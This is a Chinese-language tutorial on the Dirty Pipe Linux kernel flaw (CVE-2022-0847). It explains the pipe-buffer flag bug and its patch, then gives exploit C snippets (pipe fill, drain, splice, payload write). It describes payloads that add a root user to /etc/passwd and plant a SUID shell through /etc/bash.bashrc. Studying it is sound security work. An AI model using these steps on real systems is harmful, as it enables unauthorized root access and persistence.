Exploiting CVE-2022-0847 - written by : Antonius (w1sdom)
Dirty Pipe(CVE-2022-0847)是Linux内核5.8至5.15.24版本中最严重的安全漏洞之一,由Max Kellermann于2022年发现。该漏洞允许普通用户(无特殊权限)覆盖本应为只读文件中的数据。 理解核心概念
在详细讨论Dirty Pipe之前,需要先了解一些Linux内核内部概念:
1. 分页(Paging)
分页是Linux内核中的一种内存管理机制,内存系统将物理内存划分为固定大小的小块,称为页框(page frames),并将虚拟内存划分为相同大小的块,称为页面(pages)。
该机制使内核能够以非顺序方式将进程的虚拟地址空间映射到物理内存,这对于现代系统的效率和安全性至关重要。
2. 页面(虚拟内存)
在Linux中,页面是内核处理物理内存管理的最小单元。
类比:RAM就像一本巨大的书。页面是书中的一页纸。内核不会逐位移动数据,而是逐页(一页一页)移动。
通常,在现代系统架构(如x86_64)上,一个页面的标准大小为4 KB(4096字节)。
3. 页缓存(Page Cache)
这是关键部分。Linux不会每次都直接从磁盘读取文件,因为那样太慢。内核将文件内容复制到RAM中,称为页缓存(Page Cache)。
4. 管道缓冲区(Pipe Buffer)
管道是一种进程间通信(IPC)机制。在内部,内核使用 pipe_inode_info 数据结构管理管道。管道内的数据存储在称为“管道缓冲区”的缓冲区中。
5. 管道缓冲区标志(PIPE_BUF_FLAG_CAN_MERGE)
PIPE_BUF_FLAG_CAN_MERGE 标志在Linux内核5.8版本中引入。
这就是主要漏洞所在。该标志名为 PIPE_BUF_FLAG_CAN_MERGE。
6. Splice
splice() 是一个系统调用,用于在两个文件描述符之间移动数据,而无需在内核空间和用户空间之间复制数据。这通常被称为零拷贝(Zero-copy)机制。
splice() 系统调用是Dirty Pipe中的“主要角色”:
7. 写时复制(Copy on Write, CoW)
写时复制(Copy-on-Write,CoW)机制是Linux内核使用的一种内存管理优化策略,旨在将数据复制推迟到绝对必要时。
写时复制(CoW)与Dirty Pipe漏洞利用(CVE-2022-0847)之间的关系在于,Linux内核中的一个微小错误如何成功“欺骗”CoW机制,允许数据写入本应为只读的文件。
8. 脏页(Dirty Page)
脏页是指RAM中已被应用程序修改,但更改尚未写回二级存储(如SSD或硬盘)的内存页。
Dirty Pipe漏洞分析
Dirty Pipe是Linux内核5.8至5.15.24版本中管道缓冲区处理的一种逻辑错误。 主要问题在于Pipe机制(进程间通信通道)以及内核如何管理页缓存(存储磁盘文件数据副本的内存)。 核心问题是PIPE_BUF_FLAG_CAN_MERGE标志中的一个错误。
主要问题在于内核未能正确重新初始化该标志(逻辑错误)。以下是代码分析: 在Linux内核5.16.11版本之前的 copy_page_to_iter_pipe 和 push_to_pipe 函数中,执行splice操作时,内核准备了 pipe_buffer 结构,但忘记清理 .flags 成员。
易受攻击的代码结构:
// Location of problem: fs/pipe.c or include/linux/pipe_fs_i.h
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags; // <--- THIS FLAG IS NOT RESET
unsigned long private;
};
补丁前的代码(易受攻击):
// lib/iov_iter.c - Before CVE-2022-0847 patch
static size_t copy_page_to_iter_pipe(struct page *page,
size_t offset, size_t bytes, struct iov_iter *i) {
// ---------snip-----------
struct pipe_buffer *buf = &pipe->bufs[head & mask];
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
// PROBLEM: buf->flags NOT TOUCHED AT ALL
// --------snip----------------------
}
补丁后的代码(已修复):
buf->ops = &page_cache_pipe_buf_ops; buf->page = page; buf->offset = offset; buf->len = bytes; buf->flags = 0; // <--- TOTAL RESET TO ZERO
为什么 buf->flags = 0 比仅关闭特定标志更好?因为 pipe_buffer 是一个被复用的结构。如果只关闭一个标志(CAN_MERGE),先前管道使用中残留的其他垃圾标志(如 PIPE_BUF_FLAG_GIFT 或其他自定义标志)可能仍然存在,并导致异常行为或未来出现新的安全漏洞。将其置为0可确保缓冲区处于完全“干净”的状态。
为何这可以被利用?
以下是Dirty Pipe的利用流程:
1. 污染阶段(Pollution Stage):攻击者通过 write() 将数据插入管道。常规的 write() 操作会将 buf->flags 设置为 PIPE_BUF_FLAG_CAN_MERGE。
2. 排空阶段(Drain Stage):攻击者读取该数据。缓冲区现在逻辑上“空”了,但其结构仍存在于内核内存中,且 CAN_MERGE 标志仍然有效。
3. Splice 阶段:当 splice() 系统调用将只读文件映射到管道时,会调用 copy_page_to_iter_pipe() 函数。由于上述错误,它用原始文件的内存页面填充 buf->page,但未重置 buf->flags。
4. 执行(Execution):内核认为该文件缓冲区仍然可以合并。下一次对管道的写入将不会创建新缓冲区,而是直接修改先前映射的内存页面(页缓存)。
此时,攻击者的数据已存储在RAM中。RAM中内容与磁盘不一致的页面称为“脏页”(Dirty Page)。 如果成功到达此阶段,则意味着漏洞利用成功!一旦页缓存改变,效果立竿见影。如果我们覆盖了RAM中的 /etc/passwd,我们可以立即在那时运行 su root。
Dirty Pipe漏洞利用
对于Dirty Pipe的利用,我们不需要禁用任何内核保护机制,因为所有内核保护都与防范此逻辑错误无关。 为了利用脏页逻辑错误,我们的漏洞利用程序将执行以下步骤:
步骤 1. 准备管道并填满管道,目标是触发 PIPE_BUF_FLAG_CAN_MERGE 标志。
pipe(p);
int capacity = fcntl(p[1], 1032);
static char dummy[4096];
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
write(p[1], dummy, n);
r -= n;
}
步骤 2. 排空管道。
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
read(p[0], dummy, n);
r -= n;
}
if (splice(fd, &offset, p[1], NULL, 1, 0) < 0) {
perror("[-] splice failed");
return 0;
}
write(p[1], payload, strlen(payload));
Dirty Pipe漏洞利用的完整利用代码 完整利用代码可在 https://github.com/bluedragonsecurity/dirtypipe2 获取
注意:完整利用代码包含内核版本验证、管道准备、载荷注入等功能,以及针对 /etc/passwd 和 /etc/bash.bashrc 的两种不同利用方法。
利用方法
上述利用使用两种不同的载荷,目标是如果第一个载荷失败,则由第二个载荷接替。
载荷1:写入 /etc/passwd 以添加一个名为 'toor'、uid 为0的新用户。如果此载荷成功,我们可以立即获取root shell。
载荷2:目标是在 /tmp/x 放置一个SUID bash shell。特别地,对于第二个载荷,它必须等待系统上的root用户登录,因为放置SUID shell的载荷被注入到 /etc/bash.bashrc 中。在Linux中,/etc/bash.bashrc 中包含的命令会在每个用户登录系统时由登录过程执行。
测试利用
在此示例中,我使用了在VirtualBox中作为客户机运行的Lubuntu 20.04.5上的Linux内核5.13,主机操作系统是Kali Linux 2025.4。 在Lubuntu 20.04.5机器上,编译利用程序:
gcc -o dirtypipe2 dirtypipe2.c
./dirtypipe2
参考文献